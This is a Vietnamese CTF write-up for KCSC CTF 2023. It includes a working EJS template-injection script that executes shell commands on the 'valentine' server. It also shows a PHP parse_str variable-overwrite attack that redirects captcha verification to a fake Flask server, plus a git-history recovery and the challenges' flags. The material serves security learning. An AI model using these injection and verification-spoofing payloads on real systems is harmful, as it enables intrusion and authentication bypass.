---
# System prepended metadata

title: KCSC CTF 2023
tags: [CTF, KCSC-CTF-2023]

---

# KCSC CTF 2023

1. valentine (stolen)
    - Source: [valentine](https://github.com/5h4s1/CTF_write_up/tree/main/KCSC%20CTF%202023/valentine/public)
    - Description:
        - Tổng quan về challenge thì đây là 1 trang web cho chúng ta nhập vào template và thực hiện xử lý template đó.
        - Thêm 1 hint của tác giả về challenge này là tác giả đã cho chúng ta 1 write up của 1 challenge tương tự như vậy. Nhưng với bải này của tác giả thì sẽ thực hiện filter khác với bài trong write up.
    - Solution:
        - Sau khi đọc write up khá là dài mà tác giả hint cho thì mình cũng hiểu được các làm của bài trong write up là sẽ sử dụng EJS custom delimiters để có thể bypass qua các bước check của bài để có thể gây ra lỗi SSTI được.
        - Với bài `valentine` thì chúng ta cũng có thể áp dụng được cách này một cách khá dễ dàng. Mình đã đọc bài viết ở [đây](https://hxp.io/blog/101/hxp-CTF-2022-valentine/) và làm theo cách của bài viết thành công và có được flag.
    - Script:
    Đây là script mình solve challenge trên:
        ```python
        import requests

        url = "https://valentine.kcsc.tf"

        # cho thêm {{ name }} vì trong code có check xem template nhập vào có chứa chuỗi đó không
        tmpl = """<.= global.process.mainModule.require('child_process').execSync('/readflag') .>{{ name }} """


        data = {
            "tmpl": tmpl,
            "name": "5h4s1"
        }
        res = requests.post(url + "/template" , data=data, allow_redirects=False)

        redirect = res.headers['location']

        res = requests.get(url + redirect + "&delimiter=.")

        print(res.text)

        ```
    - Flag: `KCSC{https://www.youtube.com/watch?v=A5OLaBlQP9I}` 

2. Bypass Captcha
    - Source: [Bypass Captcha](https://github.com/5h4s1/CTF_write_up/tree/main/KCSC%20CTF%202023/Bypass%20Captcha)
    - Description:
        - Tổng quan về challenge đây là 1 website có chức năng nhập vào password và nếu nhập đúng, captcha hợp lệ thì sẽ có được flag
    - Solution:
        - Sau khi đọc 1 phần code thì ta sẽ hiểu về luồng cơ bản như sau:
        - Sau khi nhập password và submit -> server thực hiện check response captcha chúng ta truyền lên có đúng hay không, nếu đúng và thời gian xác thực captcha không quá 5 giây so với thời gian hiện tại, nếu qua thì check tiếp password, password đúng nữa sẽ có được flag
        - Đọc hết 1 lượt code thì nhận ra có dòng `parse_str($_SERVER['QUERY_STRING']);`
        - Đây là 1 phần rất lạ của bài này vì theo luồng check pass và captcha có liên quan gì đến `QUERY_STRING` đâu. 
        - Tiếp tục focus vào đây và thấy rằng func `parse_str` nó sẽ được sử dụng để phân tích và trích xuất các tham số và giá trị tương ứng từ query string này và gán chúng vào các biến tương ứng trong phạm vi hiện tại.
        - Ví dụ cụ thể như:
            nếu URL có query string là name=John&age=30, thì khi sử dụng parse_str($_SERVER['QUERY_STRING']);, hai biến $name và $age sẽ được tạo ra và có giá trị tương ứng là "John" và 30.
        - Rồi đã biết lỗ hổng ở đây rồi. Có nghĩa là chúng ta sẽ thực hiện việc hàm parse_str extract query string ra thành các biến khác nhau (nếu các biến tồn tại nó sẽ thực hiện replace). Từ đó ta có ý tưởng là repace biến $passwd và truyền các giá trị theo ta mong muốn vào là được.
        - Nhưng không, nếu ta replace trên web sẽ không được vì captcha đã verify website rồi. Mà thực hiện gửi bằng script thì phải nhập response nhanh hơn 5s từ lúc gen ra response (phải tay to lắm mới send được).
        - Vì mình tay bé nên mình đã code ra 1 website trả về response success như khi gửi `$SITE_VERIFY` nhưng với thời gian thật lâu để có thể qua bước check.
        - Code file app.py:
            ```python
            from flask import Flask, jsonify

            app = Flask(__name__)

            @app.route('/', methods=['POST'])
            def get_user():
                user = {
                    "success": True,
                    "challenge_ts": "2024-02-28T15:14:30.096Z",
                    "hostname": "example.com",
                    "error-codes": [],
                    "action": "login",
                    "cdata": "sessionid-123456789"
                }
                return jsonify(user)

            if __name__ == '__main__':
                app.run()

            ```
        - Ok deloy con web này và cho nó public ra (mọi người có thể sử dụng ngrok, ở đây thằng bạn mình có VPS nên deloy lên đó luôn)
        - Như mình đã nói thì mình phải viết script để send payload lên vì nếu gửi trên web sẽ bị lỗi ngay.
        - file script.py:

            ```python
            import requests

            url = "https://bypass-captcha.kcsc.tf/?PASSWD=1&SITE_VERIFY=10.10.10.10"
            data = {
                "passwd":"1",
                "response":"5h4s1"
            }
            res = requests.post(url, data=data)

            print(res.text)

            ```
            - Chạy script và lụm flag thôi

3. Git Gud
    - Source: [Git Gud](https://github.com/5h4s1/CTF_write_up/tree/main/KCSC%20CTF%202023/Git%20Guds)
    - Description:
        - Unzip file tải về và `ls -la` thấy có folder `.git`. Ngonnnnnn có vẻ bài này tìm thông tin trên folder git này rồi.
    - Solution:
        - Thực hiện `git log` xem có thay đổi gì không
        ![](https://hackmd.io/_uploads/rktuMbZHn.png)
        - Có thấy xóa file `rac.jpg`.
        - Khôi phục lại xem sao nào
        - ![](https://hackmd.io/_uploads/HJ1eXWWSn.png)
        - Lụm ngay flag: KCSC{G1t_h1st0Ry_d1v1n9}
4. Discord check
    - Description:
        - Đúng như đầu bài
        - Check discord đê
    - Solution:
        - Có ngay flag: `KCSC{KCSC_CTF_D1sc0rd_ch3cK3r}`
        ![](https://hackmd.io/_uploads/BkmtmbWSh.png)

###### Trên đây là các bài mình làm được trong thời gian giải diễn ra. Vì thời gian viết writeup khá gấp nên viết hơi sơ sài. Mọi người thông cảm. Và nếu rảnh mình sẽ update thêm mấy bài web mình chưa giải trong thời gian giải diễn ra nữa !!!


###### tags: `KCSC-CTF-2023` `CTF`